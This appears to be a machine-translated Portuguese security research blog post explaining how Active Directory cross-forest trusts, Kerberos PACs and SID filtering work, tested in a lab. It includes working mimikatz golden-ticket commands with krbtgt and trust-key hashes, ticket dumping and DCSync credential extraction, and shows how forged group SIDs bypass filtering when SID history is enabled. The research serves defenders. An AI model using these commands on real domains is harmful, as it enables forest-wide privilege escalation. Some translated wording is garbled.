Este é o primeiro post de uma série sobre trusts cross-forest Active Directory. Ele vai explicar o que são exatamente os trusts florestais e como eles são protegidos com a filtragem SID. Se você é novo no Active Directory trusts, eu recomendo que você comece lendo o guia detalhado de harmj0y sobre eles. Depois de ler seu (excelente) post eu tive muitas perguntas sobre como isso realmente funciona sob o capô e como os trusts dentro da mesma floresta AD se comparam com os trusts entre florestas diferentes. Esta série de blogs é tanto minha jornada quanto minha documentação sobre como pesquisei este tópico e como o entendo agora. Prepare-se para um mergulho profundo em trusts, Kerberos, golden tickets, mimikatz e impactket!
Este post vai discutir trusts entre diferentes florestas. Uma floresta é uma coleção de um ou vários domínios, que são parte de uma ou várias árvores de domínio. Em organizações com apenas um domínio, esse domínio também compõe a floresta inteira. Na documentação da Microsoft, os trusts são frequentemente chamados de trusts interflorestais (trusts entre duas florestas diferentes) ou trusts intraflorestais (trusts entre domínios na mesma floresta). Como essas palavras sempre me confundem, neste post vou me referir a elas como trusts dentro da floresta, ou trusts entre florestas (ou entre florestas cruzadas). Também é importante ter em mente que enquanto discutimos os trusts entre duas florestas, os trusts são sempre definidos entre domínios. Trusts florestais só podem ser criados entre dois domínios raiz de florestas diferentes, portanto qualquer menção neste post de um trust florestal é o trust entre dois domínios raiz diferentes.
Com uma única floresta, todos os domínios confiam uns nos outros e você pode escalar de um domínio comprometido para todos os outros, como explicado na pesquisa de Sean Metcalf sobre trusts de domínios. Para reiterar: Um domínio Active Directory não é um limite de segurança, uma floresta Active Directory é.
Estaremos falando também de identificadores de segurança (SIDs). Um SID é algo que identifica de forma única um principal de segurança, como um usuário, grupo ou domínio. Um dos domínios nas florestas de teste tem SID S-1-5-21-3286968501-24975625-1618430583
. O conhecido grupo Domain Admins, que tem o ID 512, tem o SID composto pelo SID do domínio e o ID (chamado de RID na terminologia AD), dando-lhe o SID S-1-5-21-3286968501-24975625-1618430583-512
neste domínio.
A configuração
A configuração contém 3 florestas de diretórios ativos: A, B e C. Tanto a floresta A como a floresta C têm uma confiança florestal transitória de dois sentidos com a floresta B (chegaremos ao que isto significa exactamente mais tarde). A floresta A e a floresta C não têm uma relação de confiança entre si. A floresta A é a única floresta com dois domínios: forest-a.local
e sub.forest-a.local
. Como esses dois domínios estão dentro da floresta A, eles têm uma relação de confiança entre pais e filhos de dois lados. A configuração é mostrada na seguinte figura:
The forest-a
and forest-b
domains both hava a Domain Controller and a member server (not shown in the picture), the other domains consists of only of a Single Domain Controller. Toda essa configuração corre no Azure e é gerenciada através da Terraform, que lida com as máquinas virtuais, redes, DNS e configuração florestal, enquanto os Trusts foram configurados manualmente depois.
De A a B, o que está em um PAC?
Suponha que estamos na floresta A e queremos acessar recursos na floresta B. Temos o nosso Kerberos Ticket Granting Ticket (TGT), que é válido no domínio raiz da floresta A em que estamos atualmente (convenientemente chamado de forest-a
). Quando queremos acessar recursos fora do nosso domínio atual (seja dentro da mesma floresta ou em uma floresta diferente), o Windows precisa de um ticket de serviço para este recurso, neste exemplo forest-b-server.forest-b.local
. O nosso TGT para forest-a
é obviamente inútil em forest-b
, uma vez que é encriptado com o hash da conta krbtgt
em forest-a
, que forest-b
não tem. Em termos de Kerberos, nós estamos autenticando em um reino diferente. Então o que o nosso cliente faz em segundo plano é solicitar um ticket de serviço para o recurso que estamos tentando acessar em forest-b
no Controlador de Domínio (DC) para forest-a
. O CD (que em termos Kerberos é um Centro de Distribuição de Chaves, ou KDC) não tem um recurso localmente com o sufixo forest-b.local
, ele procura por qualquer trust com florestas que tenham esse sufixo.
Porque há uma confiança de dois sentidos entre a floresta A e a floresta B, o CD de forest-a
pode nos emitir um ticket de referência (TGT) para forest-b
. Este bilhete é assinado com a chave de confiança inter-regional Kerberos, e contém os grupos dos quais somos membros em forest-a
. Forest B aceitará este ticket e nos concederá um Ticket de Serviço por forest-b-server
, que podemos usar para autenticar. Uma visão esquemática é mostrada abaixo:
Quando conectamos em nossa estação de trabalho na Forest A ao servidor da Forest B, podemos ver os tickets com o comando klist
:
O segundo ticket do topo é o nosso TGT inicial, que podemos usar para solicitar o TGT para forest-b
. Você pode ver este TGT para forest-b
(no topo) tem o krbtgt
principal para forest-b
no campo do servidor. Esta é a conta na floresta A que está associada à confiança (esta conta é chamada forest-b$
e reside na parte Usuários do diretório). Sua parte criptografada é criptografada com a chave inter-real trust que esses domínios compartilham.
O terceiro ticket do topo é o ticket que podemos usar na floresta B para entrar em contato com o servidor de lá. É um ticket de serviço que nos foi dado pela DC na floresta B. Como pode ver no campo Servidor, este ticket foi dado e válido no reino de Kerberos FOREST-B.LOCAL
.
Agora vamos mergulhar no que está de facto neste ticket. Cada Kerberos TGT solicitado pelo Windows contém um Certificado de Atributo Privilege, ou PAC. O formato é descrito em MS-PAC no MSDN. Este PAC contém entre outras coisas os SIDs dos grupos dos quais somos membros. Para ver o que está realmente no PAC, precisamos primeiro de obter os bilhetes de memória. Para isso vamos utilizar o Mimikatz, com o qual podemos descarregar todos os bilhetes dos Kerberos para o disco com o comando sekurlsa::tickets /export
. Embora o Mimikatz realmente contenha algum código de depuração de Kerberos, eu não consegui descobrir como ele funciona, e eu não consigo escrever C, então modificar qualquer coisa estava praticamente fora de questão de qualquer maneira. Felizmente a minha biblioteca Python de impacto favorita suporta todos os tipos de coisas de Kerberos. Impacket leva os bilhetes do Kerberos no formato ccache
, que não é o formato que Mimikatz exporta, mas nós podemos facilmente converter aqueles com kekeo. Só precisamos executar o comando misc::convert ccache ourticket.kirbi
e o Kekeo irá salvá-lo como um arquivo .ccache
que podemos ler com Impacket.
Para decodificar o PAC eu escrevi alguns utilitários baseados em exemplos de impacto, que estou lançando como parte desta pesquisa. Claro que para decifrar as partes encriptadas dos bilhetes Kerberos precisamos das chaves de encriptação, por isso extraí-as para todos os domínios usando o secretsdump.py e a sua implementação dcsync. Para o primeiro TGT, precisamos adicionar o hash krbtgt
ao arquivo. Baseado na captura de tela acima, você pode ver que precisaremos da chave aes256-cts-hmac-sha1-96
despejada pelo secretsdump.
A ferramenta getcfST.py
é usada para solicitar um Ticket de Serviço em uma floresta diferente baseado em um TGT no arquivo .ccache
(você pode especificar o arquivo para usar com export KRB5CCNAME=myticket.ccaches
). Isto irá desencriptar e descarregar todo o PAC, cuja saída pode ser vista aqui para os interessados. Eu adicionei algumas linhas de código que imprimem as partes importantes para nós em um formato mais legível para humanos:
Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1
Este é um PAC bastante padrão. Vemos que somos membros de vários grupos, e como esta é a conta Administrador (ID 500, embora tenha um nome diferente) da Forest A que estamos testando atualmente, ela é membro de vários grupos de administradores padrão, como Domain Admins (512) e Enterprise Admins (519). Também temos o SID Extra S-1-18-1, que indica que estamos nos autenticando com base na prova de posse de credenciais.
Para decodificar o segundo TGT, precisamos mudar a chave de krbtgt
conta para a do forest-b$
conta, que é a chave de confiança inter-regional. Neste caso o PAC é codificado com RC4, que usa o hash NT como entrada (sim, aquele que você usa para passar o hash). Isto é padrão a menos que a caixa “The other domain supports Kerberos AES Encryption” esteja marcada. Como é visível na lixeira bruta, o PAC não mudou, suportando a suposição de que o DC apenas reencripta o PAC como parte do bilhete com a chave de confiança interregional para Forest B.
O TGS é uma história ligeiramente diferente. Além de requerer algumas alterações no exemplo getcfST.py, e precisar especificar a chave AES-256 da conta forest-b-server
para descriptografá-la, podemos ver que mais informações foram adicionadas ao PAC (raw dump aqui):
Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)
Vemos que uma nova seção foi adicionada, contendo o SID de domínio do domínio forest-b
e um grupo do qual nossa conta é membro em Forest B. Estes SIDs fazem parte das estruturas ResourceGroup
do PAC e são para armazenar os membros de qualquer grupo local do domínio no domínio forest-b
. Como explicado neste post por harmj0y, Domínio Grupos locais são os únicos grupos que podem conter princípios de segurança de outras florestas. No domínio forest-b
, nosso superuser
usuário da floresta A é um membro do grupo Testgroup2
, que você pode ver abaixo.
Porque isso é refletido dentro de nosso PAC, que os servidores que nós autenticamos para usar nosso Kerberos Service Ticket uso para autorização, quaisquer privilégios atribuídos a Testgroup2
serão aplicados à conta do superusuário da floresta diferente. Isto é como a autenticação e autorização funciona através dos trusts.
Touchs Golden e filtragem SID
Alguns anos atrás Sean Metcalf e Benjamin Delphy trabalharam juntos para adicionar o suporte do Histórico SID ao Mimikatz, o que permitiu a escalada de um Domínio Active Directory para outro dentro da mesma floresta. O procedimento para isso é detalhado aqui. Como isso se traduz em confiança com outra floresta? Vamos criar um bilhete dourado com alguns SIDs interessantes para ver como eles são processados ao cruzarem a fronteira da floresta. Usamos o seguinte comando Mimikatz para criar um bilhete dourado na nossa floresta atual:
kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:2acc1a3824a47c4fcb21ef7440042e85 /user:Superuser /target:forest-a.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106 /ptt
Dividamos este comando. Estamos criando um bilhete dourado em forest-a
, assinado com o hash krbtgt
de forest-a
. Como SIDs extras, incluímos alguns SIDs interessantes:
-
S-1-5-21-3286968501-24975625-1618430583-1604
, o SID de um grupo do qual não somos membros -
S-1-5-21-3286968501-24975625-1111111111-1605
, o SID de um domínio que não existe -
S-1-18-1
, o SID do Windows indica que nos autenticamos com prova de posse de credenciais -
S-1-5-21-2897307217-3322366030-3810619207-1106
, um grupo emforest-b
A bandeira /ptt
injectará o bilhete na memória, e ao navegar para \forest-b-server.forest-b.local
não vemos nenhuma mensagem de erro, indicando que o bilhete foi usado com sucesso para aceder a um recurso em forest-b
. Exportamos os bilhetes como antes e deciframo-los da mesma forma que na secção anterior.
O TGT para forest-a
contém os SIDs esperados:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106
O TGT que obtivemos para forest-b
do Controlador de Domínio de forest-a
, assinado com a chave de confiança inter-regional, na verdade contém exactamente a mesma informação:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106
Isto sugere novamente que a CD não valida o PAC, mas apenas o re-sina com a chave inter-real para forest-b
, apesar de conter um grupo do qual não somos realmente um membro.
Após apresentarmos este TGT ao CD em forest-b
, recebemos de volta o nosso Service Ticket, que tem o seguinte PAC:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)
O que aconteceu aqui? Vemos que novamente as nossas adesões no domínio forest-b
foram adicionadas ao PAC, mas que alguns SIDs foram filtrados. Foi aqui que o mecanismo de segurança de filtragem do SID entrou, filtrando quaisquer SIDs que não façam parte de forest-a
. As regras para a filtragem de SIDs estão descritas no MSDN. As regras interessantes aqui são as que têm a entrada ForestSpecific. Esses SIDs só são permitidos a partir de um PAC de dentro da floresta. Como o nosso PAC vem de fora da floresta, estes SIDs serão sempre filtrados a partir do nosso PAC. As 3 regras após as específicas da ForestSpecific garantem que quaisquer SIDs que não sejam de dentro da floresta A sejam filtrados para fora. Isso inclui tanto o SID inexistente que fornecemos, quanto qualquer SID não específico da ForestSpecific que exista na floresta B.
Ainda nos permite fingir ser qualquer usuário na floresta A, portanto, se os usuários da floresta A receberam algum privilégio especial na floresta B (que é provavelmente a razão pela qual toda a confiança foi estabelecida em primeiro lugar), esses privilégios agora estão comprometidos.
Filtragem do SID
O que me chamou a atenção no início desta pesquisa é uma opção para trustes que só está disponível através da ferramenta netdom
, e não aparece na interface gráfica. Uma das páginas da documentação da Microsoft descreve como permitir o histórico do SID em trusts cross-forest. O que é que isto faz? Vamos habilitar o histórico do SID na confiança da floresta B para A (que afeta os usuários que se autenticam de A em B):
C:\Users\superuser>netdom trust /d:forest-a.local forest-b.local /enablesidhistory:yesEnabling SID history for this trust.The command completed successfully.
Então o que mudou? Vamos ver como isso se traduz para a bandeira TrustAttributes do objeto de domínio de confiança. Você pode consultar isso usando várias ferramentas, abaixo mostra a saída do arquivo domain_trusts.html
do ldapdomaindump executado contra a floresta B, que é uma ferramenta que escrevi há algum tempo atrás para coletar informações de AD.
Nossa confiança com a floresta A agora tem a bandeira TREAT_AS_EXTERNAL
. Na documentação relevante da Microsoft, está escrito:
Se este bit estiver definido, então uma confiança cruzada com um domínio deve ser tratada como uma confiança externa para os propósitos de SID Filtering. Os cross-forest trustes são filtrados com mais rigor do que os trusts externos. Este atributo relaxa esses trusts de cross-forest para que sejam equivalentes aos trusts externos. Para mais informações sobre como cada tipo de trust é filtrado, veja a seção 4.1.2.2.
Este ponto aponta de volta para a seção que descreve a filtragem SID. Vamos ver o que acontece se oferecermos o mesmo TGT contra o forest-b
DC:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)
O nosso bilhete de serviço do forest-b
DC agora inclui todos os SIDs que colocamos no nosso bilhete anterior Mimikatz! Isto significa que podemos especificar qualquer SID que não seja filtrado como ForestSpecific em nosso PAC e que será aceito pela CD da floresta B.
Vamos criar um novo bilhete dourado com mais alguns SIDs para testar esta hipótese:
kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:b8e9b4b3feb56c7ba1575bf7fa3dc76f /user:Superuser /target:forest-b.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106,S-1-5-21-2897307217-3322366030-3810619207-512,S-1-5-21-2897307217-3322366030-3810619207-519,S-1-5-21-2897307217-3322366030-3810619207-548,S-1-5-21-2897307217-3322366030-3810619207-3101
Os novos SIDs incluídos aqui:
-
S-1-5-21-2897307217-3322366030-3810619207-512
: Os Admins do domínio, devem ser filtrados por uma regra explícita ForestSpecific rule -
S-1-5-21-2897307217-3322366030-3810619207-519
: Enterprise Admins, deve ser filtrado pela regra explícita ForestSpecific rule -
S-1-5-21-2897307217-3322366030-3810619207-548
: Account Operators, devem ser filtrados pela regra específica de ForestSpecific que proíbe SIDs entre 500 e 1000. -
S-1-5-21-2897307217-3322366030-3810619207-3101
: É um grupo que é membro dos Administradores de Domínios, não deve ser filtrado.
Como você deve ter notado, o acima é na verdade assinado com a chave de confiança inter-religiosa, então estamos criando diretamente o TGT que é válido para Forest B aqui, para pular o passo de oferecê-lo para a Forest A DC primeiro.
Agora recebemos o seguinte no PAC do nosso Ticket de Serviço:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106 -> S-1-5-21-2897307217-3322366030-3810619207-3101Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)
Algumas coisas a notar:
- Os grupos DA/EA/Account Operators são de facto removidos pela filtragem SID
- O grupo Domain Admins não é adicionado à parte
ResourceGroup
do PAC, embora o grupo 3101 seja um membro directo deste grupo. Isto porque o grupo Domain Admins é um grupo global, enquanto apenas grupos locais de domínio são adicionados no PAC.
O que isto significa para um atacante é que você pode falsificar qualquer grupo RID >1000 se o histórico do SID estiver habilitado através de um trust florestal! Na maioria dos ambientes, isso permitirá que um atacante comprometa a floresta. Por exemplo, os grupos de segurança Exchange, que permitem uma escalada de privilégios para DA em muitas configurações, todos têm RIDs maiores que 1000. Muitas organizações também terão grupos personalizados para administradores de estações de trabalho ou helpdesks que recebem privilégios de Administrador local em estações de trabalho ou servidores. Por exemplo, eu acabei de dar o grupo IT-Admins
(com RID 3101 que é parte do nosso bilhete de ouro) privilégios de Administrador na máquina forest-b-server
. Depois de trocar nosso TGT por um Service Ticket, podemos autenticar com este ticket na caixa:
Conclusões
Fideicomissos Florestais cruzados são por padrão estritamente filtrados e não permitem que nenhum SID de fora daquela floresta viaje sobre o trust. Um atacante que compromete uma floresta na qual você confia pode, no entanto, personificar qualquer usuário daquela floresta, e assim obter acesso a recursos que foram explicitamente concedidos a usuários/grupos daquela floresta.
Se o histórico do SID estiver habilitado para uma confiança cruzada na floresta, a segurança é significativamente enfraquecida e os atacantes podem fazer-se passar por membros de qualquer grupo com um RID maior que 1000, o que, na maioria dos casos, pode resultar em um comprometimento da floresta.Se você é um administrador de TI, considere cuidadosamente quais usuários em diferentes florestas você concede acesso em sua floresta, porque cada usuário concedido acesso enfraquece a fronteira de segurança entre as florestas. Eu não recomendaria permitir o histórico SID entre florestas a menos que seja absolutamente necessário.
Na parte seguinte (ou partes, quem sabe) vamos mergulhar na forma como a Transitivity funciona e discutir outros tipos de trustes com domínios fora da floresta. Isso significa que também vamos começar a brincar com Forest C e sub.forest-a
.
As ferramentas
As ferramentas usadas neste post estão disponíveis como prova de conceito no meu GitHub. Estas ferramentas exigirão modificação manual para serem utilizáveis e só são fornecidas AS-IS para pessoas que queiram reproduzir ou mergulhar mais nesta pesquisa.